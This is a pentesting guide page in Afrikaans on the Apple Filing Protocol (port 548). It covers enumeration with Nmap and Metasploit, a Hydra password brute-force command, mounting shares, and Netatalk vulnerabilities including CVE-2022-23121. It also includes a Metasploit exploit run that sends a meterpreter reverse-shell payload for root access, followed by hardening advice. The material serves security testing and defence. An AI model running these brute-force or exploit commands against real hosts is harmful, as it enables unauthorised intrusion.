4.8 KiB
Raw Blame History

548 - Pentesting Apple Filing Protocol (AFP)

{{#include ../banners/hacktricks-training.md}}

Basiese Inligting

Die Apple Filing Protocol (AFP), voorheen bekend as AppleTalk Filing Protocol, is 'n gespesialiseerde netwerkprotokol ingesluit binne Apple File Service (AFS). Dit is ontwerp om lêerdienste vir macOS en die klassieke Mac OS te bied. AFP val op deur ondersteuning van Unicode-lêernames, POSIX-styl en ACL-toestemmings, hulpbronne-forks, benoemde uitgebreide eienskappe en gesofistikeerde lêer-slotmeganismes.

Alhoewel AFP deur SMB in moderne macOS-uitgawes vervang is (SMB is die verstek sedert OS X 10.9), word dit steeds aangetref in:

  • Erflike macOS / Mac OS 9 omgewings
  • NAS-toestelle (QNAP, Synology, Western Digital, TrueNAS…) wat die oopbron Netatalk daemon inkorporeer
  • Gemengde-OS-netwerke waar Time-Machine-over-AFP steeds geaktiveer is

Verstek TCP Poort: 548 (AFP oor TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Opname

Vinning van vinnige banier / bediener inligting

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Nuttige AFP NSE skripte:

Skrip Wat dit doen
afp-ls Lys beskikbare AFP volumes en lêers
afp-brute Wagwoord brute-force teen AFP aanmelding
afp-serverinfo Dump bediener naam, masjien tipe, AFP weergawe, ondersteunde UAMs, ens.
afp-showmount Lys gedeeltes saam met hul ACLs
afp-path-vuln Detecteer (en kan ontgin) gids-deurdring, CVE-2010-0533

Die NSE brute-force skrip kan gekombineer word met Hydra/Medusa as meer beheer benodig word:

hydra -L users.txt -P passwords.txt afp://<IP>

Interacting with shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (gebruik afpfs-ng ingepak in die meeste distros)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Sodra dit gemonteer is, onthou dat klassieke Mac hulpbronne-forks as verborge ._* AppleDouble lêers gestoor word hierdie hou dikwels interessante metadata wat DFIR gereedskap mis.


Algemene Kw vulnerabilities & Exploitatie

Netatalk ongeverifieerde RCE-ketting (2022)

Verskeie NAS verskaffers het Netatalk ≤3.1.12 gestuur. 'n Gebrek aan grensekontrole in parse_entries() laat 'n aanvaller toe om 'n kwaadwillige AppleDouble kop te vervaardig en remote root te verkry voor verifikasie (CVSS 9.8 CVE-2022-23121). 'n Volledige skrywe deur NCC Group met PoC wat Western-Digital PR4100 exploiteer, is beskikbaar.

Metasploit (>= 6.3) verskaf die module exploit/linux/netatalk/parse_entries wat die payload via DSI WRITE lewer.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

As die teiken 'n geraakte QNAP/Synology firmware draai, lei suksesvolle uitbuiting tot 'n shell as root.

Netatalk OpenSession heap overflow (2018)

Ou Netatalk (3.0.0 - 3.1.11) is kwesbaar vir 'n out-of-bounds skrywe in die DSI OpenSession handler wat nie-geverifieerde kode-uitvoering toelaat (CVE-2018-1160). 'n Gedetailleerde ontleding en PoC is deur Tenable Research gepubliseer.

Ander noemenswaardige probleme

  • CVE-2022-22995 Symlink herleiding wat lei tot arbitrêre lêer skrywe / RCE wanneer AppleDouble v2 geaktiveer is (3.1.0 - 3.1.17).
  • CVE-2010-0533 Gids traversering in Apple Mac OS X 10.6 AFP (gedetecteer deur afp-path-vuln.nse).
  • Meerdere geheue-veilige foute is reggestel in Netatalk 4.x (2024) dit word aanbeveel om op te gradeer eerder as om individuele CVE's te patch.

Verdedigende Aanbevelings

  1. Deaktiveer AFP tensy dit streng nodig is gebruik eerder SMB3 of NFS.
  2. As AFP moet bly, opgradeer Netatalk na ≥ 3.1.18 of 4.x, of pas verskaffer firmware toe wat die 2022/2023/2024 patches terugbring.
  3. Handhaaf Sterk UAMs (bv. DHX2), deaktiveer duidelike teks en gaslogin.
  4. Beperk TCP 548 tot vertroude subnetwerke en verpak AFP binne 'n VPN wanneer dit van buite blootgestel word.
  5. Periodesk scan met nmap -p 548 --script afp-* in CI/CD om rogue / afgedateerde toestelle te vang.

Brute-Force

Verwysings